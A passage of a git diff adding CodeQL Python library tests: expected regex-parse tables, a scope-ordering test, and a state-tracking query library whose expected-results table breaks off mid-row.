10 | 12 | +| (?P[\\w]+)\| | char-set | 9 | 13 | +| (?P[\\w]+)\| | choice | 0 | 16 | +| (?P[\\w]+)\| | non-empty group | 0 | 15 | +| (?P[\\w]+)\| | qualified | 9 | 14 | +| (?P[\\w]+)\| | sequence | 0 | 15 | +| (?m)^(?!$) | $ | 8 | 9 | +| (?m)^(?!$) | ^ | 4 | 5 | +| (?m)^(?!$) | empty group | 0 | 4 | +| (?m)^(?!$) | empty group | 5 | 10 | +| (?m)^(?!$) | sequence | 0 | 10 | +| (?m)^(?!$) | sequence | 8 | 9 | +| (\\033\|~{) | char | 1 | 5 | +| (\\033\|~{) | char | 6 | 7 | +| (\\033\|~{) | char | 7 | 8 | +| (\\033\|~{) | choice | 1 | 8 | +| (\\033\|~{) | non-empty group | 0 | 9 | +| (\\033\|~{) | sequence | 0 | 9 | +| (\\033\|~{) | sequence | 1 | 5 | +| (\\033\|~{) | sequence | 6 | 8 | +| [\ufffd-\ufffd] | char | 1 | 2 | +| [\ufffd-\ufffd] | char | 3 | 4 | +| [\ufffd-\ufffd] | char-set | 0 | 5 | +| [\ufffd-\ufffd] | sequence | 0 | 5 | +| [\ufffd-\ufffd][\ufffd-\ufffd] | char | 1 | 2 | +| [\ufffd-\ufffd][\ufffd-\ufffd] | char | 3 | 4 | +| [\ufffd-\ufffd][\ufffd-\ufffd] | char | 6 | 7 | +| [\ufffd-\ufffd][\ufffd-\ufffd] | char | 8 | 9 | +| [\ufffd-\ufffd][\ufffd-\ufffd] | char-set | 0 | 5 | +| [\ufffd-\ufffd][\ufffd-\ufffd] | char-set | 5 | 10 | +| [\ufffd-\ufffd][\ufffd-\ufffd] | sequence | 0 | 10 | +| []] | char | 1 | 2 | +| []] | char-set | 0 | 3 | +| []] | sequence | 0 | 3 | +| [^-] | char | 2 | 3 | +| [^-] | char-set | 0 | 4 | +| [^-] | sequence | 0 | 4 | +| [^A-Z] | char | 2 | 3 | +| [^A-Z] | char | 4 | 5 | +| [^A-Z] | char-set | 0 | 6 | +| [^A-Z] | sequence | 0 | 6 | +| [^]] | char | 2 | 3 | +| [^]] | char-set | 0 | 4 | +| [^]] | sequence | 0 | 4 | +| \\A[+-]?\\d+ | char | 0 | 2 | +| \\A[+-]?\\d+ | char | 3 | 4 | +| \\A[+-]?\\d+ | char | 4 | 5 | +| \\A[+-]?\\d+ | char | 7 | 9 | +| \\A[+-]?\\d+ | char-set | 2 | 6 | +| \\A[+-]?\\d+ | qualified | 2 | 7 | +| \\A[+-]?\\d+ | qualified | 7 | 10 | +| \\A[+-]?\\d+ | sequence | 0 | 10 | +| \\\|\\[\\][123]\|\\{\\} | char | 0 | 2 | +| \\\|\\[\\][123]\|\\{\\} | char | 2 | 4 | +| \\\|\\[\\][123]\|\\{\\} | char | 4 | 6 | +| \\\|\\[\\][123]\|\\{\\} | char | 7 | 8 | +| \\\|\\[\\][123]\|\\{\\} | char | 8 | 9 | +| \\\|\\[\\][123]\|\\{\\} | char | 9 | 10 | +| \\\|\\[\\][123]\|\\{\\} | char | 12 | 14 | +| \\\|\\[\\][123]\|\\{\\} | char | 14 | 16 | +| \\\|\\[\\][123]\|\\{\\} | char-set | 6 | 11 | +| \\\|\\[\\][123]\|\\{\\} | choice | 0 | 16 | +| \\\|\\[\\][123]\|\\{\\} | sequence | 0 | 11 | +| \\\|\\[\\][123]\|\\{\\} | sequence | 12 | 16 | +| \|x | char | 1 | 2 | +| \|x | choice | 0 | 2 | +| \|x | sequence | 1 | 2 | +| ^(^y\|^z)(u$\|v$)$ | $ | 10 | 11 | +| ^(^y\|^z)(u$\|v$)$ | $ | 13 | 14 | +| ^(^y\|^z)(u$\|v$)$ | $ | 15 | 16 | +| ^(^y\|^z)(u$\|v$)$ | ^ | 0 | 1 | +| ^(^y\|^z)(u$\|v$)$ | ^ | 2 | 3 | +| ^(^y\|^z)(u$\|v$)$ | ^ | 5 | 6 | +| ^(^y\|^z)(u$\|v$)$ | char | 3 | 4 | +| ^(^y\|^z)(u$\|v$)$ | char | 6 | 7 | +| ^(^y\|^z)(u$\|v$)$ | char | 9 | 10 | +| ^(^y\|^z)(u$\|v$)$ | char | 12 | 13 | +| ^(^y\|^z)(u$\|v$)$ | choice | 2 | 7 | +| ^(^y\|^z)(u$\|v$)$ | choice | 9 | 14 | +| ^(^y\|^z)(u$\|v$)$ | non-empty group | 1 | 8 | +| ^(^y\|^z)(u$\|v$)$ | non-empty group | 8 | 15 | +| ^(^y\|^z)(u$\|v$)$ | sequence | 0 | 16 | +| ^(^y\|^z)(u$\|v$)$ | sequence | 2 | 4 | +| ^(^y\|^z)(u$\|v$)$ | sequence | 5 | 7 | +| ^(^y\|^z)(u$\|v$)$ | sequence | 9 | 11 | +| ^(^y\|^z)(u$\|v$)$ | sequence | 12 | 14 | +| ^.$ | $ | 2 | 3 | +| ^.$ | . | 1 | 2 | +| ^.$ | ^ | 0 | 1 | +| ^.$ | sequence | 0 | 3 | +| ^[A-Z_]+$(?[\w]+)|') +re.compile(r'\|\[\][123]|\{\}') +re.compile(r'^.$') +re.compile(r'[^A-Z]') +# 0123456789ABCDEF +re.sub('(?m)^(?!$)', indent*' ', s) +re.compile("(?:(?:\n\r?)|^)( *)\S") +re.compile("[]]") +re.compile("[^]]") +re.compile("[^-]") + +#Lookbehind group +re.compile(r'x|(?^(?:|x)))') diff --git a/python/ql/test/library-tests/scopes/Previous.expected b/python/ql/test/library-tests/scopes/Previous.expected new file mode 100644 index 00000000000..b57b685680a --- /dev/null +++ b/python/ql/test/library-tests/scopes/Previous.expected @@ -0,0 +1,7 @@ +| Module test | Function _isstring | +| Module test | Function func0 | +| Module test | Function func1 | +| Module test | Function func2 | +| Module test | Function inner | +| Module test | Function otherInner | +| Module test | Function outer | diff --git a/python/ql/test/library-tests/scopes/Previous.ql b/python/ql/test/library-tests/scopes/Previous.ql new file mode 100644 index 00000000000..1e7d25d7da8 --- /dev/null +++ b/python/ql/test/library-tests/scopes/Previous.ql @@ -0,0 +1,5 @@ +import python + +from Scope s1, Scope s2 +where s1.precedes(s2) +select s1.toString(), s2.toString() \ No newline at end of file diff --git a/python/ql/test/library-tests/scopes/test.py b/python/ql/test/library-tests/scopes/test.py new file mode 100644 index 00000000000..c41d61efe86 --- /dev/null +++ b/python/ql/test/library-tests/scopes/test.py @@ -0,0 +1,40 @@ + +global0 = 0 +global1 = 1 + +def func0(param0, param1): + return param0 + param1 + +def func1(): + global global0, global_local + local0 = 0 + local1 = 1 + global_local + global0 = local0 + local1 + global1 + +def func2(): + func1() + global0 + +#ODASA-5486 +class modinit: + + _time = 0 + +del modinit + +# FP occurs in line below +def _isstring(arg, isinstance=isinstance, t=_time): + pass + +#ODASA-4688 +def outer(): + def inner(): + global glob + glob = u'asdf' + print(glob[2]) + + def otherInner(): + print(glob[3]) + + inner() diff --git a/python/ql/test/library-tests/state_tracking/Lib.qll b/python/ql/test/library-tests/state_tracking/Lib.qll new file mode 100644 index 00000000000..f2c0db3c296 --- /dev/null +++ b/python/ql/test/library-tests/state_tracking/Lib.qll @@ -0,0 +1,31 @@ +import python +import semmle.python.dataflow.StateTracking + +predicate callTo(CallNode call, string name) { + call.getFunction().(NameNode).getId() = name +} + +class Initialized extends TrackableState { + + Initialized() { this = "initialized" } + + override predicate startsAt(ControlFlowNode f) { + callTo(f, "initialize") + } + +} + + +class Frobnicated extends TrackableState { + + Frobnicated() { this = "frobnicated" } + + override predicate startsAt(ControlFlowNode f) { + callTo(f, "frobnicate") + } + + override predicate endsAt(ControlFlowNode f) { + callTo(f, "defrobnicate") + } + +} diff --git a/python/ql/test/library-tests/state_tracking/Test.expected b/python/ql/test/library-tests/state_tracking/Test.expected new file mode 100644 index 00000000000..0b92b6bfe43 --- /dev/null +++ b/python/ql/test/library-tests/state_tracking/Test.expected @@ -0,0 +1,313 @@ +| global.py:22 | global.py:22:1:22:11 | ControlFlowNode for FunctionExpr | import | frobnicated | false | +| global.py:22 | global.py:22:1:22:11 | ControlFlowNode for FunctionExpr | import | initialized | false | +| global.py:22 | global.py:22:1:22:11 | Entry node for Function bad1 | global.py:32 from import | frobnicated | false | +| global.py:22 | global.py:22:1:22:11 | Entry node for Function bad1 | global.py:32 from import | initialized | false | +| global.py:22 | global.py:22:1:22:11 | Entry node for Function bad1 | runtime | frobnicated | true | +| global.py:22 | global.py:22:1:22:11 | Entry node for Function bad1 | runtime | initialized | true | +| global.py:22 | global.py:22:1:22:11 | Exit node for Function bad1 | global.py:32 from import | frobnicated | true | +| global.py:22 | global.py:22:1:22:11 | Exit node for Function bad1 | global.py:32 from import | initialized | false | +| global.py:22 | global.py:22:1:22:11 | Exit node for Function bad1 | runtime | frobnicated | true | +| global.py:22 | global.py:22:1:22:11 | Exit node for Function bad1 | runtime | initialized | true | +| global.py:22 | global.py:22:5:22:8 | ControlFlowNode for bad1 | import | frobnicated | false | +| global.py:22 | global.py:22:5:22:8 | ControlFlowNode for bad1 | import | initialized | false | +| global.py:23 | global.py:23:5:23:14 | ControlFlowNode for frobnicate | global.py:32 from import | frobnicated | false | +| global.py:23 | global.py:23:5:23:14 | ControlFlowNode for frobnicate | global.py:32 from import | initialized | false | +| global.py:23 | global.py:23:5:23:14 | ControlFlowNode for frobnicate | runtime | frobnicated | true | +| global.py:23 | global.py:23:5:23:14 | ControlFlowNode for frobnicate | runtime | initialized | true | +| global.py:23 | global.py:23:5:23:16 | ControlFlowNode for frobnicate() | global.py:32 from import | frobnicated | true | +| global.py:23 | global.py:23:5:23:16 | ControlFlowNode for frobnicate() | global.py:32 from import | initialized | false | +| global.py:23 | global.py:23:5:23:16 | ControlFlowNode for frobnicate() | runtime | frobnicated | true | +| global.py:23 | global.py:23:5:23:16 | ControlFlowNode for frobnicate() | runtime | initialized | true | +| global.py:25 | global.py:25:1:25:11 | ControlFlowNode for FunctionExpr | import | frobnicated | false | +| global.py:25 | global.py:25:1:25:11 | ControlFlowNode for FunctionExpr | import | initialized | false | +| global.py:25 | global.py:25:1:25:11 | Entry node for Function bad2 | global.py:31 from import | frobnicated | false | +| global.py:25 | global.py:25:1:25:11 | Entry node for Function bad2 | global.py:31 from import | initialized | false | +| global.py:25 | global.py:25:1:25:11 | Entry node for Function bad2 | runtime | frobnicated | true | +| global.py:25 | global.py:25:1:25:11 | Entry node for Function bad2 | runtime | initialized | true | +| global.py:25 | global.py:25:1:25:11 | Exit node for Function bad2 | global.py:31 from import | frobnicated | false | +| global.py:25 | global.py:25:1:25:11 | Exit node for Function bad2 | global.py:31 from import | initialized | false | +| global.py:25 | global.py:25:1:25:11 | Exit node for Function bad2 | runtime | frobnicated | true | +| global.py:25 | global.py:25:1:25:11 | Exit node for Function bad2 | runtime | initialized | true | +| global.py:25 | global.py:25:5:25:8 | ControlFlowNode for bad2 | import | frobnicated | false | +| global.py:25 | global.py:25:5:25:8 | ControlFlowNode for bad2 | import | initialized | false | +| global.py:26 | global.py:26:5:26:14 | ControlFlowNode for exacerbate | global.py:31 from import | frobnicated | false | +| global.py:26 | global.py:26:5:26:14 | ControlFlowNode for exacerbate | global.py:31 from import | initialized | false | +| global.py:26 | global.py:26:5:26:14 | ControlFlowNode for exacerbate | runtime | frobnicated | true | +| global.py:26 | global.py:26:5:26:14 | ControlFlowNode for exacerbate | runtime | initialized | true | +| global.py:26 | global.py:26:5:26:16 | ControlFlowNode for exacerbate() | global.py:31 from import | frobnicated | false | +| global.py:26 | global.py:26:5:26:16 | ControlFlowNode for exacerbate() | global.py:31 from import | initialized | false | +| global.py:26 | global.py:26:5:26:16 | ControlFlowNode for exacerbate() | runtime | frobnicated | true | +| global.py:26 | global.py:26:5:26:16 | ControlFlowNode for exacerbate() | runtime | initialized | true | +| global.py:28 | global.py:28:1:28:11 | ControlFlowNode for FunctionExpr | import | frobnicated | false | +| global.py:28 | global.py:28:1:28:11 | ControlFlowNode for FunctionExpr | import | initialized | false | +| global.py:28 | global.py:28:1:28:11 | Entry node for Function good | global.py:34 from import | frobnicated | true | +| global.py:28 | global.py:28:1:28:11 | Entry node for Function good | global.py:34 from import | initialized | true | +| global.py:28 | global.py:28:1:28:11 | Entry node for Function good | runtime | frobnicated | true | +| global.py:28 | global.py:28:1:28:11 | Entry node for Function good | runtime | initialized | true | +| global.py:28 | global.py:28:1:28:11 | Exit node for Function good | global.py:34 from import | frobnicated | true | +| global.py:28 | global.py:28:1:28:11 | Exit node for Function good | global.py:34 from import | initialized | true | +| global.py:28 | global.py:28:1:28:11 | Exit node for Function good | runtime | frobnicated | true | +| global.py:28 | global.py:28:1:28:11 | Exit node for Function good | runtime | initialized | true | +| global.py:28 | global.py:28:5:28:8 | ControlFlowNode for good | import | frobnicated | false | +| global.py:28 | global.py:28:5:28:8 | ControlFlowNode for good | import | initialized | false | +| global.py:29 | global.py:29:5:29:14 | ControlFlowNode for exacerbate | global.py:34 from import | frobnicated | true | +| global.py:29 | global.py:29:5:29:14 | ControlFlowNode for exacerbate | global.py:34 from import | initialized | true | +| global.py:29 | global.py:29:5:29:14 | ControlFlowNode for exacerbate | runtime | frobnicated | true | +| global.py:29 | global.py:29:5:29:14 | ControlFlowNode for exacerbate | runtime | initialized | true | +| global.py:29 | global.py:29:5:29:16 | ControlFlowNode for exacerbate() | global.py:34 from import | frobnicated | true | +| global.py:29 | global.py:29:5:29:16 | ControlFlowNode for exacerbate() | global.py:34 from import | initialized | true | +| global.py:29 | global.py:29:5:29:16 | ControlFlowNode for exacerbate() | runtime | frobnicated | true | +| global.py:29 | global.py:29:5:29:16 | ControlFlowNode for exacerbate() | runtime | initialized | true | +| global.py:31 | global.py:31:1:31:4 | ControlFlowNode for bad2 | import | frobnicated | false | +| global.py:31 | global.py:31:1:31:4 | ControlFlowNode for bad2 | import | initialized | false | +| global.py:31 | global.py:31:1:31:6 | ControlFlowNode for bad2() | import | frobnicated | false | +| global.py:31 | global.py:31:1:31:6 | ControlFlowNode for bad2() | import | initialized | false | +| global.py:32 | global.py:32:1:32:4 | ControlFlowNode for bad1 | import | frobnicated | false | +| global.py:32 | global.py:32:1:32:4 | ControlFlowNode for bad1 | import | initialized | false | +| global.py:32 | global.py:32:1:32:6 | ControlFlowNode for bad1() | import | frobnicated | true | +| global.py:32 | global.py:32:1:32:6 | ControlFlowNode for bad1() | import | initialized | false | +| global.py:33 | global.py:33:1:33:10 | ControlFlowNode for initialize | import | frobnicated | true | +| global.py:33 | global.py:33:1:33:10 | ControlFlowNode for initialize | import | initialized | false | +| global.py:33 | global.py:33:1:33:12 | ControlFlowNode for initialize() | import | frobnicated | true | +| global.py:33 | global.py:33:1:33:12 | ControlFlowNode for initialize() | import | initialized | true | +| global.py:34 | global.py:34:1:34:4 | ControlFlowNode for good | import | frobnicated | true | +| global.py:34 | global.py:34:1:34:4 | ControlFlowNode for good | import | initialized | true | +| global.py:34 | global.py:34:1:34:6 | ControlFlowNode for good() | import | frobnicated | true | +| global.py:34 | global.py:34:1:34:6 | ControlFlowNode for good() | import | initialized | true | +| test.py:21 | test.py:21:1:21:12 | ControlFlowNode for FunctionExpr | import | frobnicated | false | +| test.py:21 | test.py:21:1:21:12 | ControlFlowNode for FunctionExpr | import | initialized | false | +| test.py:21 | test.py:21:1:21:12 | Entry node for Function good1 | runtime | frobnicated | false | +| test.py:21 | test.py:21:1:21:12 | Entry node for Function good1 | runtime | initialized | false | +| test.py:21 | test.py:21:1:21:12 | Exit node for Function good1 | runtime | frobnicated | true | +| test.py:21 | test.py:21:1:21:12 | Exit node for Function good1 | runtime | initialized | true | +| test.py:21 | test.py:21:5:21:9 | ControlFlowNode for good1 | import | frobnicated | false | +| test.py:21 | test.py:21:5:21:9 | ControlFlowNode for good1 | import | initialized | false | +| test.py:22 | test.py:22:5:22:14 | ControlFlowNode for initialize | runtime | frobnicated | false | +| test.py:22 | test.py:22:5:22:14 | ControlFlowNode for initialize | runtime | initialized | false | +| test.py:22 | test.py:22:5:22:16 | ControlFlowNode for initialize() | runtime | frobnicated | false | +| test.py:22 | test.py:22:5:22:16 | ControlFlowNode for initialize() | runtime | initialized | true | +| test.py:23 | test.py:23:5:23:14 | ControlFlowNode for frobnicate | runtime | frobnicated | false | +| test.py:23 | test.py:23:5:23:14 | ControlFlowNode for frobnicate | runtime | initialized | true | +| test.py:23 | test.py:23:5:23:16 | ControlFlowNode for frobnicate() | runtime | frobnicated | true | +| test.py:23 | test.py:23:5:23:16 | ControlFlowNode for frobnicate() | runtime | initialized | true | +| test.py:24 | test.py:24:5:24:14 | ControlFlowNode for exacerbate | runtime | frobnicated | true | +| test.py:24 | test.py:24:5:24:14 | ControlFlowNode for exacerbate | runtime | initialized | true | +| test.py:24 | test.py:24:5:24:16 | ControlFlowNode for exacerbate() | runtime | frobnicated | true | +| test.py:24 | test.py:24:5:24:16 | ControlFlowNode for exacerbate() | runtime | initialized | true | +| test.py:26 | test.py:26:1:26:16 | ControlFlowNode for FunctionExpr | import | frobnicated | false | +| test.py:26 | test.py:26:1:26:16 | ControlFlowNode for FunctionExpr | import | initialized | false | +| test.py:26 | test.py:26:1:26:16 | Entry node for Function good2 | runtime | frobnicated | false | +| test.py:26 | test.py:26:1:26:16 | Entry node for Function good2 | runtime | initialized | false | +| test.py:26 | test.py:26:1:26:16 | Exit node for Function good2 | runtime | frobnicated | false | +| test.py:26 | test.py:26:1:26:16 | Exit node for Function good2 | runtime | frobnicated | true | +| test.py:26 | test.py:26:1:26:16 | Exit node for Function good2 | runtime | initialized | false | +| test.py:26 | test.py:26:1:26:16 | Exit node for Function good2 | runtime | initialized | true | +| test.py:26 | test.py:26:5:26:9 | ControlFlowNode for good2 | import | frobnicated | false | +| test.py:26 | test.py:26:5:26:9 | ControlFlowNode for good2 | import | initialized | false | +| test.py:26 | test.py:26:11:26:14 | ControlFlowNode for test | runtime | frobnicated | false | +| test.py:26 | test.py:26:11:26:14 | ControlFlowNode for test | runtime | initialized | false | +| test.py:27 | test.py:27:8:27:11 | ControlFlowNode for test | runtime | frobnicated | false | +| test.py:27 | test.py:27:8:27:11 | ControlFlowNode for test | runtime | initialized | false | +| test.py:28 | test.py:28:9:28:18 | ControlFlowNode for initialize | runtime | frobnicated | false | +| test.py:28 | test.py:28:9:28:18 | ControlFlowNode for initialize | runtime | initialized | false | +| test.py:28 | test.py:28:9:28:20 | ControlFlowNode for initialize() | runtime | frobnicated | false | +| test.py:28 | test.py:28:9:28:20 | ControlFlowNode for initialize() | runtime | initialized | true | +| test.py:29 | test.py:29:8:29:11 | ControlFlowNode for test | runtime | frobnicated | false | +| test.py:29 | test.py:29:8:29:11 | ControlFlowNode for test | runtime | frobnicated | false | +| test.py:29 | test.py:29:8:29:11 | ControlFlowNode for test | runtime | initialized | false | +| test.py:29 | test.py:29:8:29:11 | ControlFlowNode for test | runtime | initialized | true | +| test.py:30 | test.py:30:9:30:18 | ControlFlowNode for frobnicate | runtime | frobnicated | false | +| test.py:30 | test.py:30:9:30:18 | ControlFlowNode for frobnicate | runtime | initialized | true | +| test.py:30 | test.py:30:9:30:20 | ControlFlowNode for frobnicate() | runtime | frobnicated | true | +| test.py:30 | test.py:30:9:30:20 | ControlFlowNode for frobnicate() | runtime | initialized | true | +| test.py:32 | test.py:32:1:32:20 | ControlFlowNode for FunctionExpr | import | frobnicated | false | +| test.py:32 | test.py:32:1:32:20 | ControlFlowNode for FunctionExpr | import | initialized | false | +| test.py:32 | test.py:32:1:32:20 | Entry node for Function init_and_frob | runtime | frobnicated | false | +| test.py:32 | test.py:32:1:32:20 | Entry node for Function init_and_frob | runtime | initialized | false | +| test.py:32 | test.py:32:1:32:20 | Entry node for Function init_and_frob | test.py:37 from runtime | frobnicated | false | +| test.py:32 | test.py:32:1:32:20 | Entry node for Function init_and_frob | test.py:37 from runtime | initialized | false | +| test.py:32 | test.py:32:1:32:20 | Exit node for Function init_and_frob | runtime | frobnicated | true | +| test.py:32 | test.py:32:1:32:20 | Exit node for Function init_and_frob | runtime | initialized | true | +| test.py:32 | test.py:32:1:32:20 | Exit node for Function init_and_frob | test.py:37 from runtime | frobnicated | true | +| test.py:32 | test.py:32:1:32:20 | Exit node for Function init_and_frob | test.py:37 from runtime | initialized | true | +| test.py:32 | test.py:32:5:32:17 | ControlFlowNode for init_and_frob | import | frobnicated | false | +| test.py:32 | test.py:32:5:32:17 | ControlFlowNode for init_and_frob | import | initialized | false | +| test.py:33 | test.py:33:5:33:14 | ControlFlowNode for initialize | runtime | frobnicated | false | +| test.py:33 | test.py:33:5:33:14 | ControlFlowNode for initialize | runtime | initialized | false | +| test.py:33 | test.py:33:5:33:14 | ControlFlowNode for initialize | test.py:37 from runtime | frobnicated | false | +| test.py:33 | test.py:33:5:33:14 | ControlFlowNode for initialize | test.py:37 from runtime | initialized | false | +| test.py:33 | test.py:33:5:33:16 | ControlFlowNode for initialize() | runtime | frobnicated | false | +| test.py:33 | test.py:33:5:33:16 | ControlFlowNode for initialize() | runtime | initialized | true | +| test.py:33 | test.py:33:5:33:16 | ControlFlowNode for initialize() | test.py:37 from runtime | frobnicated | false | +| test.py:33 | test.py:33:5:33:16 | ControlFlowNode for initialize() | test.py:37 from runtime | initialized | true | +| test.py:34 | test.py:34:5:34:14 | ControlFlowNode for frobnicate | runtime | frobnicated | false | +| test.py:34 | test.py:34:5:34:14 | ControlFlowNode for frobnicate | runtime | initialized | true | +| test.py:34 | test.py:34:5:34:14 | ControlFlowNode for frobnicate | test.py:37 from runtime | frobnicated | false | +| test.py:34 | test.py:34:5:34:14 | ControlFlowNode for frobnicate | test.py:37 from runtime | initialized | true | +| test.py:34 | test.py:34:5:34:16 | ControlFlowNode for frobnicate() | runtime | frobnicated | true | +| test.py:34 | test.py:34:5:34:16 | ControlFlowNode for frobnicate() | runtime | initialized | true | +| test.py:34 | test.py:34:5:34:16 | ControlFlowNode for frobnicate() | test.py:37 from runtime | frobnicated | true | +| test.py:34 | test.py:34:5:34:16 | ControlFlowNode for frobnicate() | test.py:37 from runtime | initialized | true | +| test.py:36 | test.py:36:1:36:12 | ControlFlowNode for FunctionExpr | import | frobnicated | false | +| test.py:36 | test.py:36:1:36:12 | ControlFlowNode for FunctionExpr | import | initialized | false | +| test.py:36 | test.py:36:1:36:12 | Entry node for Function good3 | runtime | frobnicated | false | +| test.py:36 | test.py:36:1:36:12 | Entry node for Function good3 | runtime | initialized | false | +| test.py:36 | test.py:36:1:36:12 | Exit node for Function good3 | runtime | frobnicated | true | +| test.py:36 | test.py:36:1:36:12 | Exit node for Function good3 | runtime | initialized | true | +| test.py:36 | test.py:36:5:36:9 | ControlFlowNode for good3 | import | frobnicated | false | +| test.py:36 | test.py:36:5:36:9 | ControlFlowNode for good3 | import | initialized | false | +| test.py:37 | test.py:37:5:37:17 | ControlFlowNode for init_and_frob | runtime | frobnicated | false | +| test.py:37 | test.py:37:5:37:17 | ControlFlowNode for init_and_frob | runtime | initialized | false | +| test.py:37 | test.py:37:5:37:19 | ControlFlowNode for init_and_frob() | runtime | frobnicated | true | +| test.py:37 | test.py:37:5:37:19 | ControlFlowNode for init_and_frob() | runtime | initialized | true | +| test.py:38 | test.py:38:5:38:14 | ControlFlowNode for exacerbate | runtime | frobnicated | true | +| test.py:38 | test.py:38:5:38:14 | ControlFlowNode for exacerbate | runtime | initialized | true | +| test.py:38 | test.py:38:5:38:16 | ControlFlowNode for exacerbate() | runtime | frobnicated | true | +| test.py:38 | test.py:38:5:38:16 | ControlFlowNode for exacerbate() | runtime | initialized | true | +| test.py:40 | test.py:40:1:40:11 | ControlFlowNode for FunctionExpr | import | frobnicated | false | +| test.py:40 | test.py:40:1:40:11 | ControlFlowNode for FunctionExpr | import | initialized | false | +| test.py:40 | test.py:40:1:40:11 | Entry node for Function bad1 | runtime | frobnicated | false | +| test.py:40 | test.py:40:1:40:11 | Entry node for Function bad1 | runtime | initialized | false | +| test.py:40 | test.py:40:1:40:11 | Exit node for Function bad1 | runtime | frobnicated | true | +| test.py:40 | test.py:40:1:40:11 | Exit node for Function bad1 | runtime | initialized | false | +| test.py:40 | test.py:40:5:40:8 | ControlFlowNode for bad1 | import | frobnicated | false | +| test.py:40 | test.py:40:5:40:8 | ControlFlowNode for bad1 | import | initialized | false | +| test.py:42 | test.py:42:5:42:14 | ControlFlowNode for frobnicate | runtime | frobnicated | false | +| test.py:42 | test.py:42:5:42:14 | ControlFlowNode for frobnicate | runtime | initialized | false | +| test.py:42 | test.py:42:5:42:16 | ControlFlowNode for frobnicate() | runtime | frobnicated | true | +| test.py:42 | test.py:42:5:42:16 | ControlFlowNode for frobnicate() | runtime | initialized | false | +| test.py:43 | test.py:43:5:43:14 | ControlFlowNode for exacerbate | runtime | frobnicated | true | +| test.py:43 | test.py:43:5:43:14 | ControlFlowNode for exacerbate | runtime | initialized | false | +| test.py:43 | test.py:43:5:43:16 | ControlFlowNode for exacerbate() | runtime | frobnicated | true | +| test.py:43 | test.py:43:5:43:16 | ControlFlowNode for exacerbate() | runtime | initialized | false | +| test.py:45 | test.py:45:1:45:11 | ControlFlowNode for FunctionExpr | import | frobnicated | false | +| test.py:45 | test.py:45:1:45:11 | ControlFlowNode for FunctionExpr | import | initialized | false | +| test.py:45 | test.py:45:1:45:11 | Entry node for Function bad2 | runtime | frobnicated | false | +| test.py:45 | test.py:45:1:45:11 | Entry node for Function bad2 | runtime | initialized | false | +| test.py:45 | test.py:45:1:45:11 | Exit node for Function bad2 | runtime | frobnicated | false | +| test.py:45 | test.py:45:1:45:11 | Exit node for Function bad2 | runtime | initialized | true | +| test.py:45 | test.py:45:5:45:8 | ControlFlowNode for bad2 | import | frobnicated | false | +| test.py:45 | test.py:45:5:45:8 | ControlFlowNode for bad2 | import | initialized | false | +| test.py:46 | test.py:46:5:46:14 | ControlFlowNode for initialize | runtime | frobnicated | false | +| test.py:46 | test.py:46:5:46:14 | ControlFlowNode for initialize | runtime | initialized | false | +| test.py:46 | test.py:46:5:46:16 | ControlFlowNode for initialize() | runtime | frobnicated | false | +| test.py:46 | test.py:46:5:46:16 | ControlFlowNode for initialize() | runtime | initialized | true | +| test.py:48 | test.py:48:5:48:14 | ControlFlowNode for exacerbate | runtime | frobnicated | false | +| test.py:48 | test.py:48:5:48:14 | ControlFlowNode for exacerbate | runtime | initialized | true | +| test.py:48 | test.py:48:5:48:16 | ControlFlowNode for exacerbate() | runtime | frobnicated | false | +| test.py:48 | test.py:48:5:48:16 | ControlFlowNode for exacerbate() | runtime | initialized | true | +| test.py:50 | test.py:50:1:50:11 | ControlFlowNode for FunctionExpr | import | frobnicated | false | +| test.py:50 | test.py:50:1:50:11 | ControlFlowNode for FunctionExpr | import | initialized | false | +| test.py:50 | test.py:50:1:50:11 | Entry node for Function bad3 | runtime | frobnicated | false | +| test.py:50 | test.py:50:1:50:11 | Entry node for Function bad3 | runtime | initialized | false | +| test.py:50 | test.py:50:1:50:11 | Exit node for Function bad3 | runtime | frobnicated | false | +| test.py:50 | test.py:50:1:50:11 | Exit node for Function bad3 | runtime | initialized | false | +| test.py:50 | test.py:50:5:50:8 | ControlFlowNode for bad3 | import | frobnicated | false | +| test.py:50 | test.py:50:5:50:8 | ControlFlowNode for bad3 | import | initialized | false | +| test.py:51 | test.py:51:5:51:14 | ControlFlowNode for exacerbate | runtime | frobnicated | false | +| test.py:51 | test.py:51:5:51:14 | ControlFlowNode for exacerbate | runtime | initialized | false | +| test.py:51 | test.py:51:5:51:16 | ControlFlowNode for exacerbate() | runtime | frobnicated | false | +| test.py:51 | test.py:51:5:51:16 | ControlFlowNode for exacerbate() | runtime | initialized | false | +| test.py:53 | test.py:53:1:53:16 | ControlFlowNode for FunctionExpr | import | frobnicated | false | +| test.py:53 | test.py:53:1:53:16 | ControlFlowNode for FunctionExpr | import | initialized | false | +| test.py:53 | test.py:53:1:53:16 | Entry node for Function good4 | runtime | frobnicated | false | +| test.py:53 | test.py:53:1:53:16 | Entry node for Function good4 | runtime | initialized | false | +| test.py:53 | test.py:53:1:53:16 | Exit node for Function good4 | runtime | frobnicated | false | +| test.py:53 | test.py:53:1:53:16 | Exit node for Function good4 | runtime | frobnicated | true | +| test.py:53 | test.py:53:1:53:16 | Exit node for Function good4 | runtime | initialized | false | +| test.py:53 | test.py:53:1:53:16 | Exit node for Function good4 | runtime | initialized | true | +| test.py:53 | test.py:53:5:53:9 | ControlFlowNode for good4 | import | frobnicated | false | +| test.py:53 | test.py:53:5:53:9 | ControlFlowNode for good4 | import | initialized | false | +| test.py:53 | test.py:53:11:53:14 | ControlFlowNode for frob | runtime | frobnicated | false | +| test.py:53 | test.py:53:11:53:14 | ControlFlowNode for frob | runtime | initialized | false | +| test.py:54 | test.py:54:5:54:15 | ControlFlowNode for initialized | runtime | frobnicated | false | +| test.py:54 | test.py:54:5:54:15 | ControlFlowNode for initialized | runtime | initialized | false | +| test.py:54 | test.py:54:19:54:23 | ControlFlowNode for False | runtime | frobnicated | false | +| test.py:54 | test.py:54:19:54:23 | ControlFlowNode for False | runtime | initialized | false | +| test.py:55 | test.py:55:8:55:11 | ControlFlowNode for frob | runtime | frobnicated | false | +| test.py:55 | test.py:55:8:55:11 | ControlFlowNode for frob | runtime | initialized | false | +| test.py:56 | test.py:56:9:56:18 | ControlFlowNode for initialize | runtime | frobnicated | false | +| test.py:56 | test.py:56:9:56:18 | ControlFlowNode for initialize | runtime | initialized | false | +| test.py:56 | test.py:56:9:56:20 | ControlFlowNode for initialize() | runtime | frobnicated | false | +| test.py:56 | test.py:56:9:56:20 | ControlFlowNode for initialize() | runtime | initialized | true | +| test.py:57 | test.py:57:9:57:19 | ControlFlowNode for initialized | runtime | frobnicated | false | +| test.py:57 | test.py:57:9:57:19 | ControlFlowNode for initialized | runtime | initialized | true | +| test.py:57 | 